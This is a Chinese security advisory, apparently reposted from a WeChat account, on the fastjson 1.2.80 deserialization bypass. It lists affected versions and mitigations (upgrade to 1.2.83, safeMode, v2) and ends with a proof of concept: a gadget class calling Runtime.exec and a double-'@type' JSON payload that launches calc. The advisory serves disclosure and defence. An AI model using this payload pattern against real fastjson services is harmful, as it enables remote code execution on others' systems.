fastjson 1.2.80版本反序列化漏洞:POC代码及规避方案(20220523)

admin 2022年6月2日20:50:58安全文章评论517 views1183字阅读3分56秒阅读模式

01

漏洞描述



fastjson已使用黑白名单用于防御反序列化漏洞,经研究该利用在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大。建议fastjson用户尽快采取安全措施保障系统安全。


02

影响版本



1.2.80及以下版本,即 <= 1.2.80。


03

规避方案(以下任选一种)



升级到最新版本1.2.83

<dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.83</version></dependency>


开启safeMode

参考:

https://github.com/alibaba/fastjson/wiki/fastjson_safemode

java代码中设置

ParserConfig.getGlobalInstance().setSafeMode(true);

JVM参数中设置

-Dfastjson.parser.safeMode=true


fastjson 1.2.80版本反序列化漏洞:POC代码及规避方案(20220523)


配置文件设置

# fastjson.properties fastjson.parser.safeMode=true


fastjson 1.2.80版本反序列化漏洞:POC代码及规避方案(20220523)


使用fastjson v2版本,与v1版本不兼容


04

POC代码



poc类(代码中需要有该类)

package com.example.fastjson.poc20220523;
import java.io.IOException;
public class Poc20220523 extends Exception { public void setName(String str) { try { Runtime.getRuntime().exec(str); } catch (IOException e) { e.printStackTrace(); } }}

攻击代码:

主要是构造json串:
{  "@type": "java.lang.Exception",  "@type": "com.example.fastjson.poc20220523.Poc20220523",  "name": "calc"}

java代码解析:

   public static void main(String[] args) {        String json = "{"@type":"java.lang.Exception","@type":"com.example.fastjson.poc20220523.Poc20220523","name":"calc"}";        JSON.parse(json);    }

效果截图:

fastjson 1.2.80版本反序列化漏洞:POC代码及规避方案(20220523)


05

代码地址



https://github.com/YoungBear/FastjsonPoc



如有侵权,请联系删除。

fastjson 1.2.80版本反序列化漏洞:POC代码及规避方案(20220523)

扫码关注我们

查看更多精彩内容




原文始发于微信公众号(长风实验室):fastjson 1.2.80版本反序列化漏洞:POC代码及规避方案(20220523)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日20:50:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  fastjson 1.2.80版本反序列化漏洞:POC代码及规避方案(20220523) https://cn-sec.com/archives/1080410.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: